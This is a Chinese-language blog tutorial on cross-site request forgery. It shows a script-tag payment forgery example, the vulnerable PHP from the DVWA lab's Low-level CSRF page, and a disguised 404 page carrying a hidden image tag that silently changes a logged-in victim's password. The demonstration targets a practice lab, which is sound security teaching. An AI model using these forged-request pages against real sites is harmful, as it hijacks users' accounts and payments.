1:什么是CSRF:

假设有一个支付网站:www.xx.com

向小明同学付款1000元数据包:

www.xx.com/pay.php?name=xiaoming&account=xxxx@qq.com&money=1000

攻击者在自己博客首页源码中添加js代码:

<script src=”http://www.xx.com/pay.php?name=&account=xxxx@qq.com&money=1000”></script>

受害者访问我的个人博客,加载js代码,js代码将会执行(自动加载地址)

浏览器已经登录支付网站(或者获取到了被攻击者的Cookies)的话,就会导致付款

基于DVWA-Low模型攻击如下:  可以看到在PHP中他接受了password_new和password_conf后即将密码转化为MD5值后对数据库进行了修改,没有做任何CSRF防护措施,因此我们

可在

http://192.168.221.10:800/DVWA/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change#

实际数据库中执行:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
// Get input
$pass_new = $_GET[ 'password_new' ];
$pass_conf = $_GET[ 'password_conf' ];
// Do the passwords match?
if( $pass_new == $pass_conf ) {
// They do!
$pass_new = mysql_real_escape_string( $pass_new );
$pass_new = md5( $pass_new ); // Update the database
$insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
$result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' ); // Feedback for the user
echo "<pre>Password Changed.</pre>";
}
else {
// Issue with passwords matching
echo "<pre>Passwords did not match.</pre>";
}
mysql_close();
}
?>

如果将这个命令嵌入至Html当中,则更加隐蔽,因为直接输入会显示Password Changed字样,比如在这个很美观的404页面之下:

<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>404页面</title>
<meta name="renderer" content="webkit" />
<meta name="viewport" content="width=device-width,initial-scale=1.0,maximum-scale=1.0,minimum-scale=1.0,user-scalable=no" />
<link rel="stylesheet" type="text/css" href="style.css">
<link rel="shortcut icon" href="http://uqseo.com/favicon.ico">
</head>
<body>
<div class="container">
<img src="http://192.168.221.10/dvwa/vulnerabilities/csrf/?password_new=hack&password_conf=hack&Change=Change#" border="0" style="display:none;"/>
<img class="bg" src="404.png"/>
<div class="btn">
<a href="/" class="goindex">返回首页</a>
<a href="http://wpa.qq.com/msgrd?v=3&uin=68179285&site=qq&menu=yes" target="_blank" class="lx">咨询站长</a>
<div style="clear:both;"></div>
</div>
</div>
</body>
</html>

最新文章

  1. How to Take Control of Your Line Height in Outlook.com
  2. iOS 利用长按手势移动 Table View Cells
  3. 深度信任网络的快速学习算法(Hinton的论文)
  4. HTML5 ajax上传附件
  5. Linux gvim windows 版本配置
  6. Android 把从网络获取的图片缓存到内存中
  7. 基于NHibernate二级缓存的MongoDB组件
  8. VC2010编译错误
  9. [Android] 点击事件的四种写法
  10. Redis 简介与命令操作
  11. cookie的存入和取出
  12. (2)特征点匹配,并求旋转矩阵R和位移向量t
  13. lintcode-202-线段树的查询
  14. 用stack实现min stack
  15. canvas旋转文本
  16. Linux 守护进程创建原理及简易方法
  17. 近期写的一个控件——Well Swipe beta 1.0
  18. 【luogu P2590 [ZJOI2008]树的统计】 题解
  19. 原创:解决 python中moviepy调用ffmpeg的错误:subprocess, PermissionError: [WinError 5] 拒绝访问
  20. 详解C/C++ 编译 g++ gcc 的区别

热门文章

  1. JVM系列-方法调用的原理
  2. Babel:下一代Javascript语法编译器
  3. oracle数据库备份还原命令
  4. Redis之字典
  5. This function has none of DETERMINISTIC, NO SQL, or READS SQL DATA in its declaration and binary lo的解决办法
  6. three.js 制作属于自己的动态二维码
  7. three.js 对象绕任意轴旋转--模拟门转动
  8. iPhone截长图的方法
  9. Android:沉浸式状态栏(二)集成
  10. Docker引言,由来,思想